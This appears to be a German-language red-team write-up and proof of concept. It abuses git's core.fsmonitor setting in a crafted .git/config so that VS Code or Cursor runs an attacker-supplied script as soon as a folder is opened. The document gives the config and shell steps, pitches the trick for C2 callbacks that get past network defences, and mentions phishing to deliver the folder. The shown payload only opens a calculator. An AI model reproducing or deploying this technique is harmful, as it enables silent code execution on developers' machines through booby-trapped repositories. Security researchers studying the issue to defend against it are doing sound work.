
Dies ist ein Proof-of-Work zum Missbrauch von 'fsmonitor' gegen IDE.
Dies ist ein dokumentiertes (bekanntes) Problem, aber ich habe es während meiner Recherche entdeckt und es ist ziemlich nützlich für RT/PT.
Zusammenfassung: Der FSMonitor-Helper wird von git bei jedem Befehl wie git status, git diff usw. ausgeführt, daher wird git blind jeden Pfad starten, den wir dort angeben. Unsere IDEs führen git status automatisch aus, sobald Sie einen Ordner öffnen, um das SCM (Source Control Management)-Panel zu füllen;
Dies ermöglicht es git, den konfigurierten Helper zu starten, der vom Angreifer kontrollierten Code ausführt. Diese Taktik kann während RT oder in einem Assume-Breach-Szenario mit beliebigem C2 oder unserem XRayC2 verwendet werden, um einen Callback zu erhalten, der traditionelle Netzwerkabwehr umgeht. (Natürlich sind Phishing-E-Mails erforderlich, um den Endbenutzer hereinzulegen, aber das Öffnen eines Ordners in der IDE scheint eine faire Operation zu sein).
Proof-of-Work: git clone dieses Repository, füge die folgende Konfiguration in deinem .git-Verzeichnis hinzu. Sobald erledigt, öffne den präparierten Ordner mit der IDE, ein Taschenrechner sollte erscheinen. (Ich habe dies mit Code & Cursor getestet). Dieser POC ist macOS-spezifisch, passe ihn je nach Umgebung an.
bash-3.2$ cd git-fsmonitor
bash-3.2$ mkdir .git
bash-3.2$ nano .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
fsmonitor = ./icons/icons.sh
bash-3.2$ chmod +x ./icons/icons.sh
bash-3.2$ git init
bash-3.2$ git config core.fsmonitor ./icons/icons.sh
bash-3.2$ ls git-fsmonitor-main/.git/
.DS_Store config description HEAD hooks/ info/ objects/ refs/
bash-3.2$
Getestet auf Code
Version: 1.106.0 (Universal)
Commit: ac4cbdf48759c7d8c3eb91ffe6bb04316e263c57
Date: 2025-11-11T16:02:25.943Z
Electron: 37.7.0
ElectronBuildId: 12597478
Chromium: 138.0.7204.251
Node.js: 22.20.0
V8: 13.8.258.32-electron.0
OS: Darwin x64 25.1.0
https://github.com/user-attachments/assets/4702aadc-f12d-4380-bc6f-bcd564ddcf96
Dies funktioniert, weil wir das Repository initialisieren und dann core.fsmonitor zu einer Datei hinzufügen (die ein Payload sein kann). Daher reicht das Öffnen eines Ordners aus, um Ihren Code auszuführen. Die 'meisten' Entwickler/Benutzer haben ~/Downloads (und ähnliche Top-Level-Ordner) in ihrem vertrauenswürdigen Arbeitsbereich, sodass der PoC still läuft; aber wenn ein Repository außerhalb dieser vertrauenswürdigen Pfade liegt, wird die IDE die Eingabeaufforderung „Diesem Herausgeber vertrauen?“ anzeigen, bevor sie .git/config liest.